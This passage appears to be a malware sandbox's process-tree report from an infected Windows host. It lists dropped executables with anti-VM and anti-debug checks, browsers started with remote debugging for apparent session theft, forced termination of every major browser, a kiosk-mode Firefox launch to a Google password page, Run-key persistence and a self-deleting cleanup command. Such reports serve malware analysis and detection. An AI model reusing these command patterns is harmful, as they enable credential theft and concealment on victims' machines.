        Suspicious use of AdjustPrivilegeToken
        
        PID:4344
- - C:\Users\Admin\AppData\Local\Temp\1073896001\ViGgA8C.exe
    "C:\Users\Admin\AppData\Local\Temp\1073896001\ViGgA8C.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3856
- - C:\Users\Admin\AppData\Local\Temp\1076269001\DTQCxXZ.exe
    "C:\Users\Admin\AppData\Local\Temp\1076269001\DTQCxXZ.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:4124
- - C:\Users\Admin\AppData\Local\Temp\1076858001\TaVOM7x.exe
    "C:\Users\Admin\AppData\Local\Temp\1076858001\TaVOM7x.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:1688
  - - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
      "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:2932
- - C:\Users\Admin\AppData\Local\Temp\1078317001\d2YQIJa.exe
    "C:\Users\Admin\AppData\Local\Temp\1078317001\d2YQIJa.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1432
- - C:\Users\Admin\AppData\Local\Temp\1078482001\sHN20me.exe
    "C:\Users\Admin\AppData\Local\Temp\1078482001\sHN20me.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1508
- - C:\Users\Admin\AppData\Local\Temp\1081729001\spoDnGT.exe
    "C:\Users\Admin\AppData\Local\Temp\1081729001\spoDnGT.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:396
- - C:\Users\Admin\AppData\Local\Temp\1083135001\Ta3ZyUR.exe
    "C:\Users\Admin\AppData\Local\Temp\1083135001\Ta3ZyUR.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:3116
  - - C:\Users\Admin\AppData\Local\Temp\1083135001\Ta3ZyUR.exe
      "C:\Users\Admin\AppData\Local\Temp\1083135001\Ta3ZyUR.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:5072
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3116 -s 968
      4⤵
      Program crash
      PID:4500
- - C:\Users\Admin\AppData\Local\Temp\1083218001\qFqSpAp.exe
    "C:\Users\Admin\AppData\Local\Temp\1083218001\qFqSpAp.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:4852
- - C:\Users\Admin\AppData\Local\Temp\1083537001\m5UP2Yj.exe
    "C:\Users\Admin\AppData\Local\Temp\1083537001\m5UP2Yj.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:400
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 400 -s 1520
      4⤵
      Program crash
      PID:1220
- - C:\Users\Admin\AppData\Local\Temp\1084785001\jROrnzx.exe
    "C:\Users\Admin\AppData\Local\Temp\1084785001\jROrnzx.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:3116
  - - C:\Users\Admin\AppData\Local\Temp\1084785001\jROrnzx.exe
      "C:\Users\Admin\AppData\Local\Temp\1084785001\jROrnzx.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1016
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3116 -s 976
      4⤵
      Program crash
      PID:1764
- - C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe
    "C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    PID:2768
  - - C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe
      "C:\Users\Admin\AppData\Local\Temp\1084873001\7aencsM.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      PID:620
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
        5⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:4652
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa5ea5cc40,0x7ffa5ea5cc4c,0x7ffa5ea5cc58
        6⤵
        
        PID:212
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1900,i,1786156191429830181,260016766373054851,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1896 /prefetch:2
        6⤵
        
        PID:2204
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2120,i,1786156191429830181,260016766373054851,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2164 /prefetch:3
        6⤵
        
        PID:4440
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2248,i,1786156191429830181,260016766373054851,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2452 /prefetch:8
        6⤵
        
        PID:832
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3148,i,1786156191429830181,260016766373054851,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3168 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:2560
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3176,i,1786156191429830181,260016766373054851,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3356 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:2428
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4220,i,1786156191429830181,260016766373054851,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4456 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:2396
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4372,i,1786156191429830181,260016766373054851,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3152 /prefetch:8
        6⤵
        
        PID:2876
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4472,i,1786156191429830181,260016766373054851,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4824 /prefetch:8
        6⤵
        
        PID:2828
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4664,i,1786156191429830181,260016766373054851,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4704 /prefetch:8
        6⤵
        
        PID:3068
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4552,i,1786156191429830181,260016766373054851,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4708 /prefetch:8
        6⤵
        
        PID:1732
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
        5⤵
        Uses browser remote debugging
        Enumerates system info in registry
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        
        PID:5944
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa5ec246f8,0x7ffa5ec24708,0x7ffa5ec24718
        6⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5960
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2184,295281818861814531,1148119475011179788,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2252 /prefetch:2
        6⤵
        
        PID:4188
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2184,295281818861814531,1148119475011179788,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 /prefetch:3
        6⤵
        
        PID:4864
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2184,295281818861814531,1148119475011179788,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2744 /prefetch:8
        6⤵
        
        PID:3076
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2184,295281818861814531,1148119475011179788,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3484 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:5300
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2184,295281818861814531,1148119475011179788,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3504 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:5304
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2184,295281818861814531,1148119475011179788,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4864 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:3012
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2184,295281818861814531,1148119475011179788,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4984 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:2992
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\aieus" & exit
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5264
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        6⤵
        Delays execution with timeout.exe
        
        PID:5164
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2768 -s 968
      4⤵
      Program crash
      PID:2484
- - C:\Users\Admin\AppData\Local\Temp\1085964001\Setup_2024.exe
    "C:\Users\Admin\AppData\Local\Temp\1085964001\Setup_2024.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    PID:4164
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\Office 2024 Installer\Click To Run.bat" "
      4⤵
      System Location Discovery: System Language Discovery
      PID:2352
    - - C:\Program Files (x86)\Office 2024 Installer\setup.exe
        
        setup /configure configuration.xml
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Checks system information in the registry
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:2876
- - C:\Users\Admin\AppData\Local\Temp\1086006001\amnew.exe
    "C:\Users\Admin\AppData\Local\Temp\1086006001\amnew.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:3604
  - - C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
      "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
      4⤵
      Downloads MZ/PE file
      Checks computer location settings
      Executes dropped EXE
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:4656
    - - C:\Users\Admin\AppData\Local\Temp\10001200101\trano1221.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10001200101\trano1221.exe"
        5⤵
        Executes dropped EXE
        
        PID:1688
      - C:\Users\Admin\AppData\Local\Temp\10001200101\trano1221.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10001200101\trano1221.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5864
    - - C:\Users\Admin\AppData\Local\Temp\10001960101\con12312211221.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10001960101\con12312211221.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:4440
      - C:\Users\Admin\AppData\Local\Temp\10001960101\con12312211221.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10001960101\con12312211221.exe"
        6⤵
        Executes dropped EXE
        
        PID:6092
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4440 -s 828
        6⤵
        Program crash
        
        PID:5980
    - - C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:6012
      - C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe"
        6⤵
        Executes dropped EXE
        
        PID:1032
      - C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe"
        6⤵
        Executes dropped EXE
        
        PID:2768
      - C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10002760101\monthdragon.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4992
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6012 -s 956
        6⤵
        Program crash
        
        PID:5484
    - - C:\Users\Admin\AppData\Local\Temp\10005030101\12321321.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10005030101\12321321.exe"
        5⤵
        Executes dropped EXE
        
        PID:5888
    - - C:\Users\Admin\AppData\Local\Temp\10005500101\alex12112.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10005500101\alex12112.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5800
      - C:\Users\Admin\AppData\Local\Temp\10005500101\alex12112.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10005500101\alex12112.exe"
        6⤵
        Executes dropped EXE
        
        PID:5868
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5800 -s 968
        6⤵
        Program crash
        
        PID:2436
    - - C:\Users\Admin\AppData\Local\Temp\10007520101\eb297ca644.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10007520101\eb297ca644.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SendNotifyMessage
        
        PID:1068
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5416
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2956
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5320
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5156
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5572
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:4188
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        6⤵
        
        PID:3700
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        7⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:5568
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1976 -parentBuildID 20240401114208 -prefsHandle 1904 -prefMapHandle 1896 -prefsLen 27411 -prefMapSize 244680 -appDir "C:\Program Files\Mozilla Firefox\browser" - {dbc8111f-ff0d-4afe-a48f-a2a7c254f160} 5568 "\\.\pipe\gecko-crash-server-pipe.5568" gpu
        8⤵
        
        PID:4388
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2412 -parentBuildID 20240401114208 -prefsHandle 2404 -prefMapHandle 2392 -prefsLen 28331 -prefMapSize 244680 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fae23593-a22e-4bd5-ae4f-52a5c89828de} 5568 "\\.\pipe\gecko-crash-server-pipe.5568" socket
        8⤵
        
        PID:5872
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3708 -childID 1 -isForBrowser -prefsHandle 3920 -prefMapHandle 3912 -prefsLen 22684 -prefMapSize 244680 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8f94f1be-9a48-404b-a44c-1d8c7b25af53} 5568 "\\.\pipe\gecko-crash-server-pipe.5568" tab
        8⤵
        
        PID:5368
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2984 -childID 2 -isForBrowser -prefsHandle 2988 -prefMapHandle 2612 -prefsLen 32764 -prefMapSize 244680 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {82507ebf-54c7-49a3-8bba-32c276a7b9f3} 5568 "\\.\pipe\gecko-crash-server-pipe.5568" tab
        8⤵
        
        PID:452
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4688 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4812 -prefMapHandle 4808 -prefsLen 32818 -prefMapSize 244680 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f2baeb6e-42ce-4f0e-9fb9-4b1a4f1e13d0} 5568 "\\.\pipe\gecko-crash-server-pipe.5568" utility
        8⤵
        Checks processor information in registry
        
        PID:5472
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4952 -childID 3 -isForBrowser -prefsHandle 4944 -prefMapHandle 4940 -prefsLen 27030 -prefMapSize 244680 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0348eed0-bbca-4067-a15f-7f8ab23b9260} 5568 "\\.\pipe\gecko-crash-server-pipe.5568" tab
        8⤵
        
        PID:5780
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5104 -childID 4 -isForBrowser -prefsHandle 5112 -prefMapHandle 5116 -prefsLen 27030 -prefMapSize 244680 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0b7f0624-6475-4270-b610-ae8c33672103} 5568 "\\.\pipe\gecko-crash-server-pipe.5568" tab
        8⤵
        
        PID:5496
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5304 -childID 5 -isForBrowser -prefsHandle 5272 -prefMapHandle 5260 -prefsLen 27030 -prefMapSize 244680 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2dff59b5-897b-43bd-a699-002c6b4af2b1} 5568 "\\.\pipe\gecko-crash-server-pipe.5568" tab
        8⤵
        
        PID:2776
    - - C:\Users\Admin\AppData\Local\Temp\10007530101\8b4f2ce5c5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10007530101\8b4f2ce5c5.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:6000
      - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        6⤵
        
        PID:4652
- - C:\Users\Admin\AppData\Local\Temp\1086064001\e26c372fd5.exe
    "C:\Users\Admin\AppData\Local\Temp\1086064001\e26c372fd5.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:5316
- - C:\Users\Admin\AppData\Local\Temp\1086065001\0bdfe5e472.exe
    "C:\Users\Admin\AppData\Local\Temp\1086065001\0bdfe5e472.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:5760
- - C:\Users\Admin\AppData\Local\Temp\1086066001\3955c2bc0a.exe
    "C:\Users\Admin\AppData\Local\Temp\1086066001\3955c2bc0a.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    PID:4992
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM firefox.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5064
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM chrome.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4144
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM msedge.exe /T
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1700
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /F /IM opera.exe /T
      4⤵
      Kills process with taskkill
